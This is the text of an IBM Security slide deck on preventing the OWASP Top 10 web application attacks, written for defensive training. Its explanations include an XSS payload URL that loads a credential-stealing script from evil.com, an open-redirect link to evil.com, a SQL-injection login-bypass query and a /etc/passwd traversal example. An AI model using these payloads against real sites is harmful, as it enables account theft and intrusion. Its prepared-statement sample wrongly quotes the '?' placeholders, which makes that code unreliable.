View the on-demand recording: http://securityintelligence.com/events/avoiding-application-attacks/ Your organization is running fast to build your business. You are developing new applications faster than ever and utilizing new cloud-based development platforms. Your customers and employees expect applications that are powerful, highly usable, and secure. Yet this need for speed coupled with new development techniques is increasing the likelihood of security issues. How can you meet the needs of speed to market with security? Hear Paul Ionescu, IBM Security, Ethical Hacking Team Lead discuss: - How application attacks work - Open Web Application Security Project (OWASP) goals - How to build defenses into your applications - The 10 most common web application attacks, including demos of the infamous Shellshock and Heartbleed vulnerabilities - How to test for and prevent these types of threats

1. © 2012 IBM Corporation
IBM Security Systems
1© 2015 IBM Corporation
Avoiding Application Attacks:
A Guide to Preventing the OWASP Top 10
from Happening to You
Paul Ionescu
Ethical Hacking Team
IBM Security Systems

2. 2
Security Systems - Ethical Hacking Team
Applications an Essential Component of Today’s Technology
• Development moving more and more towards Web Applications
• Mobile Applications connecting to a public REST application
• Internet of Things with devices such as refrigerators and light switches connecting to
Public Web Applications

3. 3
Security Systems - Ethical Hacking Team
The Application Layer Is Fully Exposed
• Companies cannot block access to their public applications
• Data is coming from the attacker’s laptop and going directly to the database

4. 4
Security Systems - Ethical Hacking Team
Application Attacks and Security Incidents - 2014
• Attacks on Web Applications - the majority of disclosed attack types in 2014
• SQL Injection 2nd most common attack behind DDoS
• Data from X-Force Interactive Security Incidents web site:
http://www-03.ibm.com/security/xforce/xfisi/

5. 5
Security Systems - Ethical Hacking Team
OWASP Top 10

OWASP is the Open Web Application Security Project and its mission is to enable
developers to write secure code

OWASP maintains a top of the most common categories of Web Application
Vulnerabilities
5

6. 6
Security Systems - Ethical Hacking Team
10. Unvalidated Redirects and Forwards
Cybercriminals use trusted links to redirect to malicious resources.
• Imagine that the attacker got the admin contact from the Whois record and is looking to
gain access through a spear phishing attack.
• The attacker sends an e-mail to the victim containing a link to the company server
prompting them for action.
• The link is legit and the victim clicks it. Example:
• This is an automated notification from your web server. The web site is down. See error
log at this link: http://altoro.mybluemix.net/cgi-bin/index.cgi?http://evil.com/drive.html
• The link redirects the victim to a malicious site which leverages a vulnerability in the
browser installing a Trojan.
6

7. 7
Security Systems - Ethical Hacking Team
9. Using Components with Known Vulnerabilities
• Vulnerabilities in third party components are used to take over unpatched systems
• Such vulnerabilities can be any of the issues presented in this session
• Two notable vulnerabilities popularized through mass media in 2014 were Heartbleed
and Shellshock
• Heartbleed is a Buffer Overflow type of issue in Open SSL
• Shellshock is a Shell Command Injection attack in Bash (the Linux Born Again Shell)
7

8. 8
Security Systems - Ethical Hacking Team
8. Cross Site Request Forgery (CSRF)
• Attacker can invoke “blind” actions on web applications, impersonating as a trusted use
• Let's say that Steven Speed has an account with the fictitious bank Altoro Mutual and is
in dire need of some cash
• He observes how the transfer funds page works and creates an attack page that
executes a transfer from other users of the bank into his account
• Obviously the attacker will make this page look innocuous-- perhaps a page with
pictures of cats
• Then the attacker plants a link to this page on a social networking site, luring his victims
with the promise of cute kitty cat pictures
8

9. 9
Security Systems - Ethical Hacking Team
7. Missing Function Level Access Control
• Attackers abuse the application to elevate their privileges either because access control
is defective or because is missing
• As a limited user, I log in to my bank account and change the URL to access the
administration page. If authorization is not properly employed I am now an administrator
of the site
9

10. 10
Security Systems - Ethical Hacking Team
6. Sensitive Data Exposure
• What is it?
•Confidential data may be stolen due to incorrect data encryption
• What are the implications?
•Incorrect handling of security protocols allows data to be stolen in transit
•Database can be stolen
•Passwords can be stolen from configuration files
• So let's say that the attacker got Shell Access using ShellShock
• Now the attacker needs root access. Next thing the attacker will do is go hunt for
passwords in clear text
10

11. 11
Security Systems - Ethical Hacking Team
5. Security Misconfiguration
• Improper server or web application configuration allows attackers to take over
• For example, the Tomcat Manager page may be enabled on the server
• If we are able to get access to this page we can certainly own the server and upload
malware to it
11

12. 12
Security Systems - Ethical Hacking Team
4. Insecure Direct Object References
• Attackers can access sensitive files and resources because the application allows the
user to specify which files/resources are to be loaded
• For example imagine that you need to load static html content into a dynamic context
• Easiest thing to do is to allow the user to specify the html file name through content
parameter value. That makes it easy to use in the future, say if we needed to add more
html content, right? Wrong!
• Attackers can manipulate the value of the content parameter to access other files (let's
say: /etc/passwd)
12

13. 13
Security Systems - Ethical Hacking Team
3. Cross-Site Scripting (XSS)
• Attackers embed malicious scripts into legitimate site changing the website's
functionality
• Let's say we wanted to get the admin's credentials. We could send them an 'alert e-mail'
from the site saying the site is down
• The link contains a malicious JS include which will alter the site's functionality to obtain
the admin's credentials
“This is an automated notification from your web server. The web site is down. See error
log at this link: http://altoro.mybluemix.net:8080/altoro/search.jsp?query=%3Cscript+src
%3D%22http%3A%2F%2Fevil.com%2Fxss.js%22%3E%3C%2Fscript%3E”
13

14. 14
Security Systems - Ethical Hacking Team
2. Broken Authentication and Session Management
• What is it?
• Session management assets like user credentials and session IDs not
properly protected
• What are the implications?
• User authentication credentials aren’t protected when stored using hashing
or encryption
• Credentials can be guessed or overwritten through weak account
management functions (e.g., account creation, change password, recover
password, weak session IDs)
• Session IDs are exposed in the URL (e.g., URL rewriting)
• Session IDs are vulnerable to session fixation attacks
• Session IDs don’t timeout, or user sessions or authentication tokens,
particularly single sign-on (SSO) tokens, aren’t properly invalidated during
logout.
• Session IDs aren’t rotated after successful login.
• Passwords, session IDs, and other credentials are sent over unencrypted
connections.
14

15. 15
Security Systems - Ethical Hacking Team
1. Injection
• User-supplied data is sent to an interpreter as part of a command, query or data
• What are the common implications?
• SQL Injection – Access/modify data in DB
• Command Injection – Execute OS Commands
• LDAP Injection – Bypass authentication with LDAP server
• etc...
• One very common exploit scenario is bypassing user authentication on the login page by
manipulating the SQL query
select * from users where userName='admin'---' and password='pass';
15

16. 16
Security Systems - Ethical Hacking Team
Defending Against OWASP Top 10 Attacks
• Building security software defenses early into the SDLC can amount to millions of
dollars saved by avoiding security breaches
• NIST study on the cost of fixing software defects $100 invested in the design phase
amount to $3000 savings post release
• A 2014 report by the Ponemon Institute found that the average total cost of a data
breach for the companies participating in its research increased 15 percent to $3.5
million (http://www-935.ibm.com/services/us/en/it-
services/security-services/cost-of-data-breach/)
• Those architects who spend the extra $100 to improve their application security are
the unsung heroes. Without anyone’s knowledge, they have potentially saved their
organization millions of dollars
16

17. 17
Security Systems - Ethical Hacking Team
Threat Modeling and Secure Coding
• Threat Modeling allows developers to design software defenses before the code is
written
• Where available, software defenses should be employed as a default mechanism or
part of a framework (e.g. parameterized statements in a database framework)
• Secure Coding checklists should be used when developing new code
• Secure Coding practices verified through code review

18. 18
Security Systems - Ethical Hacking Team
Input Validation
• Can address OWASP attack categories of injection, cross-site scripting, insecure direct
object reference and invalidated redirects and forwards
• Basic tenet of software programming. Very simple, low-cost technique. If the input is
supposed to be a numeric value, make sure the string is only composed of characters 0–9
• This countermeasure can be applied in a framework

19. 19
Security Systems - Ethical Hacking Team
Parameterized Command Calls
• Can address OWASP attack category of injection
• If you must allow values coming from the user to contain characters that could construct
shell or SQL commands, using the parameterized command calls is a simple way to
prevent them from executing. The following is an example:
java.sql.PreparedStatement stmt = connection.prepareStatement(“select * from
users where username=‘?’ and pass = ‘?'”);
stmt.setString(1,username);
stmt.setString(2,pass);
stmt.executeQuery();

20. 20
Security Systems - Ethical Hacking Team
Output Encoding
• Can address OWASP attack category of Cross-Site Scripting
• If you must allow values coming from the user to contain HTML-type markup or JavaScript,
consider encoding these values when reflecting them back into the page
• For example, HTML encoding ensures HTML markup characters provided by the user do
not alter the content of the page

21. 21
Security Systems - Ethical Hacking Team
Request Token Checks
• Can address OWASP attack categories of cross-site request forgery, reflected cross-site
scripting, broken authentication and session management
• This countermeasure prevents many types of client-side attacks. It makes HTTP requests
to the application expire, independent of cookies preventing attackers from storing such
requests in malicious sites or emails
• For example, the request below cannot be stored in an external site so long as the value of
the CSRF token expires:
POST https://mysite/transferMoney HTTP/1.1
CsrfToken: 534b44a19bf18d20b71ecc4eb77c572f
Cookie: JSESSIONID = c3625d6826a0e46cf6c51b7499bc63c8;

22. 22
Security Systems - Ethical Hacking Team
Encryption
• Can address OWASP attack categories of sensitive data exposure, broken authentication
and session management
• If you must allow values coming from the user to contain HTML-type markup or JavaScript,
consider encoding these values when reflecting them back into the page
• For example, HTML encoding ensures HTML markup characters provided by the user do
not alter the content of the page
• When data is in transit between the client and the Web application, or between the
application and some other third party, it should be encrypted by using a secure
communication protocol. This prevents attackers from listening in on the wire.
• When the data at rest is stored in a database or a configuration file, it should also be
encrypted or hashed. This thwarts attackers who try to break in from escalating privileges or
gaining access to sensitive information.

23. 23
Security Systems - Ethical Hacking Team
Testing Software Defenses using Application Scanners
• As you can imagine there are many combinations and variants of these attacks
• You can use an automated vulnerability scanner such as IBM Security AppScan to help
you find these issues in your applications
• Security scans can also be configured so they occur along with other QA automation
23

24. 24
Security Systems - Ethical Hacking Team
IBM Security AppScan Standard
24

25. 25
Security Systems - Ethical Hacking Team
Testing Security Coding Practices using Static Analysis
• You can validate that the code being written follows secure coding practices using code
scanners such as AppScan Source
• Scans can also be configured so they occur along with other build automation
25

26. 26
Security Systems - Ethical Hacking Team
IBM Security AppScan Source
26

27. 27
Security Systems - Ethical Hacking Team
Managing an Application Security Program
• Organizations with many software projects need a centralized collaboration tool for
monitoring and managing of secure engineering activities, such as AppScan Enterprise
27
Threat Modeling
& Secure Coding
Education and
Awareness
Security
Incident Response
Security Testing
Inventory
assets
Assess business
impact
Measure
status & progress
Prioritize
vulnerabilities
Determine
compliance
Application Security Program

28. 28
Security Systems - Ethical Hacking Team
Q&A

29. © 2012 IBM Corporation
IBM Security Systems
29© 2015 IBM Corporation
THANK YOU!
@IBMSecurity
@pauliones
#hackingdemos